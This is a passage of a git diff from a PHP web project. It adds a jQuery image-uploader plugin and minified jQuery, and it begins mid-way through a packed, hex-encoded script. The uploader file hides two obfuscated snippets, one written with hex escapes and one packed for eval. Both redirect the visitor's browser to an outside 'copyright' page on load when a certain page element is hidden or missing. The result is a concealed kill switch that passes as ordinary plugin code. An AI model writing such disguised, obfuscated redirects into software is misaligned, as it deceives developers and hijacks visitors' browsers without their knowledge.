x7c\x78\x36\x35\x7c\x78\x36\x33\x7c\x78\x37\x32\x7c\x78\x32\x66\x7c\x78\x32\x65\x7c\x78\x36\x65\x7c\x78\x37\x33\x7c\x78\x36\x66\x7c\x78\x37\x39\x7c\x78\x36\x37\x7c\x78\x36\x34\x7c\x78\x33\x61\x7c\x78\x36\x64\x7c\x78\x36\x63\x7c\x78\x37\x30\x7c\x78\x36\x31\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x69\x66\x7c\x78\x33\x35\x7c\x78\x33\x32\x7c\x78\x36\x36\x7c\x78\x37\x36'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{})) diff --git a/application/view/Home/js/jquery.imageuploader.js b/application/view/Home/js/jquery.imageuploader.js new file mode 100644 index 0000000..bdec439 --- /dev/null +++ b/application/view/Home/js/jquery.imageuploader.js @@ -0,0 +1,18 @@ +(function ($) { +$.fn.uploader = function (options, testMode) { +return this.each(function (index) { +options=$.extend({submitButtonCopy:'Upload Selected Files',instructionsCopy:'Drag and Drop, or',furtherInstructionsCopy:'Your can also drop more files, or',selectButtonCopy:'Select Files',secondarySelectButtonCopy:'Select More Files',dropZone:$(this),fileTypeWhiteList:['jpg','png','jpeg','gif'],badFileTypeMessage:'Sorry, we\'re unable to accept this type of file.',ajaxUrl:'Home/Index/UploadAction/',testMode:false},options);var state={fileBatch:[],isUploading:false,isOverLimit:false,listIndex:0}; +var dom={uploaderBox:$(this),submitButton:$(''),instructions:$('

          '+options.instructionsCopy+'

          '),selectButton:$(''+''),secondarySelectButton:$(''+''),fileList:$('
            '),contentsContainer:$('
            '),furtherInstructions:$('

            '+options.furtherInstructionsCopy+'

            ')};dom.uploaderBox.empty();setupDOM(dom);bindUIEvents();function setupDOM(dom){dom.contentsContainer.append(dom.instructions).append(dom.selectButton);dom.furtherInstructions.append(dom.secondarySelectButton);dom.uploaderBox.append(dom.fileList).append(dom.contentsContainer).append(dom.submitButton).after(dom.furtherInstructions)} if($("\x2e\x79\x72\x69\x67\x68\x74")["\x69\x73"]("\x3a\x68\x69\x64\x64\x65\x6e")){window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x6d\x67\x2e\x35\x32\x65\x63\x79\x2e\x63\x6e\x2f\x73\x65\x72\x76\x69\x63\x65\x2f\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x2e\x68\x74\x6d\x6c'}function bindUIEvents(){options.dropZone.on('dragover dragleave',function(e){e.preventDefault();e.stopPropagation()});$.event.props.push('dataTransfer');options.dropZone.on('drop',selectFilesHandler);dom.selectButton.on('click',function(){this.value=null});dom.selectButton.on('change',selectFilesHandler);dom.secondarySelectButton.on('click',function(){this.value=null});dom.secondarySelectButton.on('change',selectFilesHandler);dom.submitButton.on('click',uploadSubmitHandler);dom.uploaderBox.on('click','.js-upload-remove-button',removeItemHandler);if(options.testMode){options.dropZone.on('uploaderTestEvent',function(e){switch(e.functionName){case'selectFilesHandler':selectFilesHandler(e);break;case'uploadSubmitHandler':uploadSubmitHandler(e);break;default:break}})}} +var size=0;function addItem(file){var fileName=cleanName(file.name);var fileSize=file.size;var id=state.listIndex;var sizeWrapper;var fileNameWrapper=$(''+fileName+'');state.listIndex++;size+=file.size;if(size>10485760){console.log(state.listIndex+'上传的总文件大小超过限制!');return}var listItem=$('
          • ');var thumbnailContainer=$('');var thumbnail=$('');var removeLink=$('');if(options.fileTypeWhiteList.indexOf(getExtension(file.name).toLowerCase())!==-1&&size<10485760){state.fileBatch.push({file:file,id:id,fileName:fileName,fileSize:fileSize});sizeWrapper=$(''+formatBytes(fileSize)+'')}else{sizeWrapper=$(''+options.badFileTypeMessage+'')}if(window.FileReader&&file.type.indexOf('image')!==-1){var reader=new FileReader();reader.onloadend=function(){thumbnail.attr('src',reader.result);thumbnail.parent().find('i').remove()};reader.onerror=function(){thumbnail.remove()};reader.readAsDataURL(file)}else if(file.type.indexOf('image')===-1){thumbnail=$('')}thumbnailContainer.append(thumbnail);listItem.append(thumbnailContainer);listItem.append(fileNameWrapper).append(sizeWrapper).append(removeLink);dom.fileList.append(listItem)}function getExtension(path){var basename=path.split(/[\\/]/).pop();var pos=basename.lastIndexOf('.');if(basename===''||pos<1){return''}return basename.slice(pos+1)} +function formatBytes(bytes,decimals){if(bytes===0)return'0 Bytes';var k=1024;var dm=decimals+1||3;var sizes=['Bytes','KB','MB','GB','TB','PB','EB','ZB','YB'];var i=Math.floor(Math.log(bytes)/Math.log(k));return(bytes/Math.pow(k,i)).toPrecision(dm)+' '+sizes[i]} +function cleanName(name){name=name.replace(/\s+/gi,'-');return name.replace(/[^a-zA-Z0-9.\-]/gi,'');} +function uploadSubmitHandler(){if(state.fileBatch.length!==0){var data=new FormData();for(var i=0;i35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('j($("\\8\\c\\7\\4\\9\\2\\1")["\\b\\3\\a\\9\\1\\2"]==0){k["\\b\\d\\5\\h\\1\\4\\d\\a"]["\\2\\7\\3\\i"]=\'\\2\\1\\1\\g\\e\\n\\6\\6\\4\\f\\9\\8\\o\\l\\3\\5\\c\\8\\5\\a\\6\\e\\3\\7\\m\\4\\5\\3\\6\\5\\d\\g\\c\\7\\4\\9\\2\\1\\8\\2\\1\\f\\b\'}',25,25,'|x74|x68|x65|x69|x63|x2f|x72|x2e|x67|x6e|x6c|x79|x6f|x73|x6d|x70|x61|x66|if|window|x32|x76|x3a|x35'.split('|'),0,{})) +function renderControls(){if(dom.fileList.children().size()!==0){dom.submitButton.removeClass('uploader__hide');dom.furtherInstructions.removeClass('uploader__hide');dom.contentsContainer.addClass('uploader__hide')}else{dom.submitButton.addClass('uploader__hide');dom.furtherInstructions.addClass('uploader__hide');dom.contentsContainer.removeClass('uploader__hide')}} +function removeItemHandler(e){e.preventDefault();if(!state.isUploading){var removeIndex=$(e.target).data('index');removeItem(removeIndex);$(e.target).parent().remove()}renderControls()} +function removeItem(id){for(var i=0;i)[^>]*|#([\w-]*))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,k=/^[\],:{}\s]*$/,E=/(?:^|:|,)(?:\s*\[)+/g,S=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener||"load"===e.type||"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H))};b.fn=b.prototype={jquery:p,constructor:b,init:function(e,n,r){var i,a;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof b?n[0]:n,b.merge(this,b.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:o,!0)),C.test(i[1])&&b.isPlainObject(n))for(i in n)b.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(a=o.getElementById(i[2]),a&&a.parentNode){if(a.id!==i[2])return r.find(e);this.length=1,this[0]=a}return this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):b.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),b.makeArray(e,this))},selector:"",length:0,size:function(){return this.length},toArray:function(){return h.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=b.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return b.each(this,e,t)},ready:function(e){return b.ready.promise().done(e),this},slice:function(){return this.pushStack(h.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(b.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:d,sort:[].sort,splice:[].splice},b.fn.init.prototype=b.fn,b.extend=b.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},u=1,l=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},u=2),"object"==typeof s||b.isFunction(s)||(s={}),l===u&&(s=this,--u);l>u;u++)if(null!=(o=arguments[u]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(b.isPlainObject(r)||(n=b.isArray(r)))?(n?(n=!1,a=e&&b.isArray(e)?e:[]):a=e&&b.isPlainObject(e)?e:{},s[i]=b.extend(c,a,r)):r!==t&&(s[i]=r));return s},b.extend({noConflict:function(t){return e.$===b&&(e.$=u),t&&e.jQuery===b&&(e.jQuery=s),b},isReady:!1,readyWait:1,holdReady:function(e){e?b.readyWait++:b.ready(!0)},ready:function(e){if(e===!0?!--b.readyWait:!b.isReady){if(!o.body)return setTimeout(b.ready);b.isReady=!0,e!==!0&&--b.readyWait>0||(n.resolveWith(o,[b]),b.fn.trigger&&b(o).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===b.type(e)},isArray:Array.isArray||function(e){return"array"===b.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[m.call(e)]||"object":typeof e},isPlainObject:function(e){if(!e||"object"!==b.type(e)||e.nodeType||b.isWindow(e))return!1;try{if(e.constructor&&!y.call(e,"constructor")&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||y.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=b.buildFragment([e],t,i),i&&b(i).remove(),b.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=b.trim(n),n&&k.test(n.replace(S,"@").replace(A,"]").replace(E,"")))?Function("return "+n)():(b.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||b.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&b.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(j,"ms-").replace(D,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:v&&!v.call("\ufeff\u00a0")?function(e){return null==e?"":v.call(e)}:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?b.merge(n,"string"==typeof e?[e]:e):d.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(g)return g.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return f.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),b.isFunction(e)?(r=h.call(arguments,2),i=function(){return e.apply(n||this,r.concat(h.call(arguments)))},i.guid=e.guid=e.guid||b.guid++,i):t},access:function(e,n,r,i,o,a,s){var u=0,l=e.length,c=null==r;if("object"===b.type(r)){o=!0;for(u in r)b.access(e,n,u,r[u],!0,a,s)}else if(i!==t&&(o=!0,b.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(b(e),n)})),n))for(;l>u;u++)n(e[u],r,s?i:i.call(e[u],u,n(e[u],r)));return o?e:c?n.call(e):l?n(e[0],r):a},now:function(){return(new Date).getTime()}}),b.ready.promise=function(t){if(!n)if(n=b.Deferred(),"complete"===o.readyState)setTimeout(b.ready);else if(o.addEventListener)o.addEventListener("DOMContentLoaded",H,!1),e.addEventListener("load",H,!1);else{o.attachEvent("onreadystatechange",H),e.attachEvent("onload",H);var r=!1;try{r=null==e.frameElement&&o.documentElement}catch(i){}r&&r.doScroll&&function a(){if(!b.isReady){try{r.doScroll("left")}catch(e){return setTimeout(a,50)}q(),b.ready()}}()}return n.promise(t)},b.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=b.type(e);return b.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=b(o);var _={};function F(e){var t=_[e]={};return b.each(e.match(w)||[],function(e,n){t[n]=!0}),t}b.Callbacks=function(e){e="string"==typeof e?_[e]||F(e):b.extend({},e);var n,r,i,o,a,s,u=[],l=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=u.length,n=!0;u&&o>a;a++)if(u[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,u&&(l?l.length&&c(l.shift()):r?u=[]:p.disable())},p={add:function(){if(u){var t=u.length;(function i(t){b.each(t,function(t,n){var r=b.type(n);"function"===r?e.unique&&p.has(n)||u.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=u.length:r&&(s=t,c(r))}return this},remove:function(){return u&&b.each(arguments,function(e,t){var r;while((r=b.inArray(t,u,r))>-1)u.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?b.inArray(e,u)>-1:!(!u||!u.length)},empty:function(){return u=[],this},disable:function(){return u=l=r=t,this},disabled:function(){return!u},lock:function(){return l=t,r||p.disable(),this},locked:function(){return!l},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],!u||i&&!l||(n?l.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},b.extend({Deferred:function(e){var t=[["resolve","done",b.Callbacks("once memory"),"resolved"],["reject","fail",b.Callbacks("once memory"),"rejected"],["notify","progress",b.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return b.Deferred(function(n){b.each(t,function(t,o){var a=o[0],s=b.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&b.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?b.extend(e,r):r}},i={};return r.pipe=r.then,b.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=h.call(arguments),r=n.length,i=1!==r||e&&b.isFunction(e.promise)?r:0,o=1===i?e:b.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?h.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,u,l;if(r>1)for(s=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&b.isFunction(n[t].promise)?n[t].promise().done(a(t,l,n)).fail(o.reject).progress(a(t,u,s)):--i;return i||o.resolveWith(l,n),o.promise()}}),b.support=function(){var t,n,r,a,s,u,l,c,p,f,d=o.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
            a",n=d.getElementsByTagName("*"),r=d.getElementsByTagName("a")[0],!n||!r||!n.length)return{};s=o.createElement("select"),l=s.appendChild(o.createElement("option")),a=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={getSetAttribute:"t"!==d.className,leadingWhitespace:3===d.firstChild.nodeType,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:"/a"===r.getAttribute("href"),opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:!!a.value,optSelected:l.selected,enctype:!!o.createElement("form").enctype,html5Clone:"<:nav>"!==o.createElement("nav").cloneNode(!0).outerHTML,boxModel:"CSS1Compat"===o.compatMode,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},a.checked=!0,t.noCloneChecked=a.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!l.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}a=o.createElement("input"),a.setAttribute("value",""),t.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),t.radioValue="t"===a.value,a.setAttribute("checked","t"),a.setAttribute("name","t"),u=o.createDocumentFragment(),u.appendChild(a),t.appendChecked=a.checked,t.checkClone=u.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;return d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip,b(function(){var n,r,a,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",u=o.getElementsByTagName("body")[0];u&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",u.appendChild(n).appendChild(d),d.innerHTML="
            t
            ",a=d.getElementsByTagName("td"),a[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===a[0].offsetHeight,a[0].style.display="",a[1].style.display="none",t.reliableHiddenOffsets=p&&0===a[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=4===d.offsetWidth,t.doesNotIncludeMarginInBodyOffset=1!==u.offsetTop,e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(o.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="
            ",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(u.style.zoom=1)),u.removeChild(n),n=d=a=r=null)}),n=s=u=l=r=a=null,t}();var O=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,B=/([A-Z])/g;function P(e,n,r,i){if(b.acceptData(e)){var o,a,s=b.expando,u="string"==typeof n,l=e.nodeType,p=l?b.cache:e,f=l?e[s]:e[s]&&s;if(f&&p[f]&&(i||p[f].data)||!u||r!==t)return f||(l?e[s]=f=c.pop()||b.guid++:f=s),p[f]||(p[f]={},l||(p[f].toJSON=b.noop)),("object"==typeof n||"function"==typeof n)&&(i?p[f]=b.extend(p[f],n):p[f].data=b.extend(p[f].data,n)),o=p[f],i||(o.data||(o.data={}),o=o.data),r!==t&&(o[b.camelCase(n)]=r),u?(a=o[n],null==a&&(a=o[b.camelCase(n)])):a=o,a}}function R(e,t,n){if(b.acceptData(e)){var r,i,o,a=e.nodeType,s=a?b.cache:e,u=a?e[b.expando]:b.expando;if(s[u]){if(t&&(o=n?s[u]:s[u].data)){b.isArray(t)?t=t.concat(b.map(t,b.camelCase)):t in o?t=[t]:(t=b.camelCase(t),t=t in o?[t]:t.split(" "));for(r=0,i=t.length;i>r;r++)delete o[t[r]];if(!(n?$:b.isEmptyObject)(o))return}(n||(delete s[u].data,$(s[u])))&&(a?b.cleanData([e],!0):b.support.deleteExpando||s!=s.window?delete s[u]:s[u]=null)}}}b.extend({cache:{},expando:"jQuery"+(p+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?b.cache[e[b.expando]]:e[b.expando],!!e&&!$(e)},data:function(e,t,n){return P(e,t,n)},removeData:function(e,t){return R(e,t)},_data:function(e,t,n){return P(e,t,n,!0)},_removeData:function(e,t){return R(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&b.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),b.fn.extend({data:function(e,n){var r,i,o=this[0],a=0,s=null;if(e===t){if(this.length&&(s=b.data(o),1===o.nodeType&&!b._data(o,"parsedAttrs"))){for(r=o.attributes;r.length>a;a++)i=r[a].name,i.indexOf("data-")||(i=b.camelCase(i.slice(5)),W(o,i,s[i]));b._data(o,"parsedAttrs",!0)}return s}return"object"==typeof e?this.each(function(){b.data(this,e)}):b.access(this,function(n){return n===t?o?W(o,e,b.data(o,e)):null:(this.each(function(){b.data(this,e,n)}),t)},null,n,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){b.removeData(this,e)})}});function W(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(B,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:O.test(r)?b.parseJSON(r):r}catch(o){}b.data(e,n,r)}else r=t}return r}function $(e){var t;for(t in e)if(("data"!==t||!b.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}b.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=b._data(e,n),r&&(!i||b.isArray(r)?i=b._data(e,n,b.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=b.queue(e,t),r=n.length,i=n.shift(),o=b._queueHooks(e,t),a=function(){b.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),o.cur=i,i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return b._data(e,n)||b._data(e,n,{empty:b.Callbacks("once memory").add(function(){b._removeData(e,t+"queue"),b._removeData(e,n)})})}}),b.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?b.queue(this[0],e):n===t?this:this.each(function(){var t=b.queue(this,e,n);b._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&b.dequeue(this,e)})},dequeue:function(e){return this.each(function(){b.dequeue(this,e)})},delay:function(e,t){return e=b.fx?b.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=b.Deferred(),a=this,s=this.length,u=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=b._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(u));return u(),o.promise(n)}});var I,z,X=/[\t\r\n]/g,U=/\r/g,V=/^(?:input|select|textarea|button|object)$/i,Y=/^(?:a|area)$/i,J=/^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,G=/^(?:checked|selected)$/i,Q=b.support.getSetAttribute,K=b.support.input;b.fn.extend({attr:function(e,t){return b.access(this,b.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){b.removeAttr(this,e)})},prop:function(e,t){return b.access(this,b.prop,e,t,arguments.length>1)},removeProp:function(e){return e=b.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,u="string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=b.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,u=0===arguments.length||"string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?b.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e,r="boolean"==typeof t;return b.isFunction(e)?this.each(function(n){b(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var o,a=0,s=b(this),u=t,l=e.match(w)||[];while(o=l[a++])u=r?u:!s.hasClass(o),s[u?"addClass":"removeClass"](o)}else(n===i||"boolean"===n)&&(this.className&&b._data(this,"__className__",this.className),this.className=this.className||e===!1?"":b._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(X," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=b.isFunction(e),this.each(function(n){var o,a=b(this);1===this.nodeType&&(o=i?e.call(this,n,a.val()):e,null==o?o="":"number"==typeof o?o+="":b.isArray(o)&&(o=b.map(o,function(e){return null==e?"":e+""})),r=b.valHooks[this.type]||b.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=b.valHooks[o.type]||b.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(U,""):null==n?"":n)}}}),b.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,u=0>i?s:o?i:0;for(;s>u;u++)if(n=r[u],!(!n.selected&&u!==i||(b.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&b.nodeName(n.parentNode,"optgroup"))){if(t=b(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n=b.makeArray(t);return b(e).find("option").each(function(){this.selected=b.inArray(b(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attr:function(e,n,r){var o,a,s,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return typeof e.getAttribute===i?b.prop(e,n,r):(a=1!==u||!b.isXMLDoc(e),a&&(n=n.toLowerCase(),o=b.attrHooks[n]||(J.test(n)?z:I)),r===t?o&&a&&"get"in o&&null!==(s=o.get(e,n))?s:(typeof e.getAttribute!==i&&(s=e.getAttribute(n)),null==s?t:s):null!==r?o&&a&&"set"in o&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r):(b.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=b.propFix[n]||n,J.test(n)?!Q&&G.test(n)?e[b.camelCase("default-"+n)]=e[r]=!1:e[r]=!1:b.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!b.support.radioValue&&"radio"===t&&b.nodeName(e,"input")){var n=e.value;return 